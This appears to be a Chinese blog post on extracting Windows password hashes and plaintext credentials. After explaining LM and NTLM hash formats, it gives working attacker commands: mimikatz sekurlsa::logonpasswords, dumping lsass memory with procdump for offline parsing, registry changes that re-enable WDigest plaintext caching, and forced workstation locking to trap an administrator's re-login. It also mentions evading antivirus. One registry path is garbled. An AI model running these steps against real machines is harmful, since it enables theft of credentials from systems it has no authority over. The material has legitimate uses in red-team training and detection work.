明年今日,人生一大喜事(≧∇≦)ノ 弱弱问一句我很胖吗?183 165

Windows系统散列值获取

0x01 LM Hash与NTLM Hash

Windows操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。

Windows操作系统中的密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash。在Windows操作系统中,Hash的结构通常如下

1
username:RID:LM-HASH:NT-HASH

LM Hash的全名为”LAN Manager Hash”,是微软为了提高Windows操作系统的安全性而采用的散列值加密算法,其本质是DES加密。尽管LM Hash比较容易破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁用了(从 Windows Vista 和 Windows 2008 版本开始禁用)。如果LM Hash被禁用了,攻击者通过工具抓取的LM Hash值通常是”aad3b435b51404eeaad3b435b51404ee”(表示LM Hash值为空或者被禁用)。

NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法。NTLM Hash是基于MD4加密算法进行加密的。个人版从Windows Vista 以后,服务器版从Windows Server 2003以后,Windows操作系统的认证方式均为NTLM Hash。

0x02 散列值获取方法

要想在Windows操作系统中抓取散列值或明文密码,必须将权限升级至System。本地用户名,散列值和其它安全验证信息都保存在SAM文件中。lsass.exe进程(它用于本地安全和登陆策略)用于实现Windows的安全策略,可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出。

利用前提:拿到了管理员权限的cmd,管理员用密码登录过机器,并运行了lsass.exe进程,把密码保存在内存文件lsass进程中。

KB2871997之前, 使用 Mimikatz 可以直接抓取明文密码。

当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth(Windows 2012及以上版本) ,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。
但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效)之后通过手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码

使用mimikatz在线读取SAM文件(目标没有杀软,或者mimikatz已免杀)

直接将mimikatz上传至目标机器

1
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"    #在线读取散列值及铭文密码

该操作需要管理员权限,否则报错,无法读取密码,报错信息如下

image-20210207221937863

管理员权限执行

image-20210207221846491

使用mimikatz离线读取lsass.dmp文件(mimikatz被杀软拦截)

(1)导出lsass.dmp文件

通过 procdump.exe 文件导出lsass.dmp文件(Procdump是微软官方发布的工具,可以在命令行下将目标lsass文件导出,且杀毒软件不会拦截)

procdump下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

管理员权限运行该命令

1
procdump.exe -accepteula -ma lsass.exe lsass.dmp

image-20210207214123607

(2)使用mimikatz导出lsass.dmp文件中的密码散列值

将目标机器上的 lsass.tmp 拉取到本地,与mimikatz同目录,使用mimikatz解密目标系统密码。(本地机器需与目标机器的版本位数一致)

运行mimikatz.exe 解密该文件。注:32位就用32位的mimikatz破解,同理64位的也是。

1
sekurlsa::minidump lsass.dmp

image-20210207213852318

1
sekurlsa::logonpasswords full

image-20210207214733408

mimikatz无法读取到密码时

在默认情况下,当系统为Windows 2012R2以上或者安装 KB2871997 补丁时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,此时可以通过以下方式开启,但需要用户重新登录后才能成功抓取。

开启Wdigest Auth

  • cmd

    1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • powershell

    1
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
  • meterpreter

    1
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1

关闭Wdigest Auth

关闭命令如下:

  • cmd

    1
    reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
  • powershell

    1
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
  • meterpreter

    1
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0

强制锁屏

在开启 Wdigest Auth 后,需要管理员重新登录才能抓明文密码。

强制锁屏,让管理员重新登录。

  • cmd

    1
    rundll32 user32.dll,LockWorkStation

    等待管理员重新登录,之后重新读取,可读到明文密码。